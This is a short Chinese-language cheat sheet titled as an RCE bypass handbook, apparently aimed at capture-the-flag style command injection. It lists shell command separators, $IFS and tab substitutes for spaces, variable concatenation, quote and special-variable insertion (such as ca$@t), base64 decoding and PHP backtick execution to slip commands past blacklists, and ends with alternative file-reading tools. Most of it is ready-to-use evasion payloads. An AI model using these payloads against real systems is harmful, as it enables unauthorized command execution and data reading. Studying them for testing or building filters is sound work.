RCE繞過手冊(cè)

基礎(chǔ)知識(shí):
Windows中的命令拼接符號(hào):
&&:左邊的命令執(zhí)行成功,右邊的才執(zhí)行
&:簡(jiǎn)單的拼接
|:上一條命令的輸出,作為下一條命令參數(shù)
||:左邊的命令執(zhí)行失敗,右邊的才執(zhí)行
Linux中的命令拼接符號(hào):
;:沒有任何邏輯關(guān)系的連接符
&&:左邊的命令執(zhí)行成功,右邊的才執(zhí)行
|:上一條命令的輸出,作為下一條命令參數(shù)
||:左邊的命令執(zhí)行失敗,右邊的才執(zhí)行
&:后臺(tái)任務(wù)執(zhí)行,與nohup命令功能差不多
花括號(hào)
{}
在Linux bash中還可以使用{OS_COMMAND,ARGUMENT}來執(zhí)行系統(tǒng)命令{cat,flag}
斜杠
路徑符號(hào) /
\是在正則等語法里面,表示后面跟的字符是正常字符,不需要轉(zhuǎn)義。
也就意味著,我們可以在rce漏洞,過濾掉cat ls
等命令時(shí)候,直接使用ca\t
來實(shí)現(xiàn)繞過
空格過濾
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等
一些命令分隔符
linux中:%0a(回車) 、%0d(換行) 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a(一個(gè)神奇的角色,作為.bat文件中的命令分隔符)
黑名單繞過
拼接繞過
比如:a=l;b=s;$a$b
利用偶讀拼接方法繞過黑名單:a=fl;b=ag;cat $a$b
利用.拼接繞過(sy.(st).em)使用內(nèi)斂執(zhí)行代替system
等效替換
echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);
<?=`ls /`;?>? ?等效于<?php echo `ls /`; ?>
都等效于<?php echo ls;?>
編碼繞過
[root~]#?echo 'Y2F0wqAK' | base64 -d
?1.txt
-d是解碼,是base64解碼xxd - r -p
可以轉(zhuǎn)換16進(jìn)制,同樣用戶管道符之后。
單引號(hào)和雙引號(hào)繞過
比如:ca‘‘t flag 或ca""t flag
利用Shell 特殊變量繞過
例如,第一個(gè)參數(shù)是1,第二個(gè)參數(shù)是2。而參數(shù)不存在時(shí)其值為空。$@表示
比如:ca$@t fla$@g
或者ca$1t fla$2g
linux中直接查看文件內(nèi)容的工具
more:一頁一頁的顯示檔案內(nèi)容
less:與 more 類似
head:查看頭幾行
tac:從最后一行開始顯示,可以看出 tac 是 cat 的反向顯示
tail:查看尾幾行
nl:顯示的時(shí)候,順便輸出行號(hào)
od:以二進(jìn)制的方式讀取檔案內(nèi)容
vi:一種編輯器,這個(gè)也可以查看
vim:一種編輯器,這個(gè)也可以查看
sort:可以查看
uniq:可以查看
file -f:報(bào)錯(cuò)出具體內(nèi)容
總結(jié):
一個(gè)不行那就換另一個(gè)試試,看誰笑到最后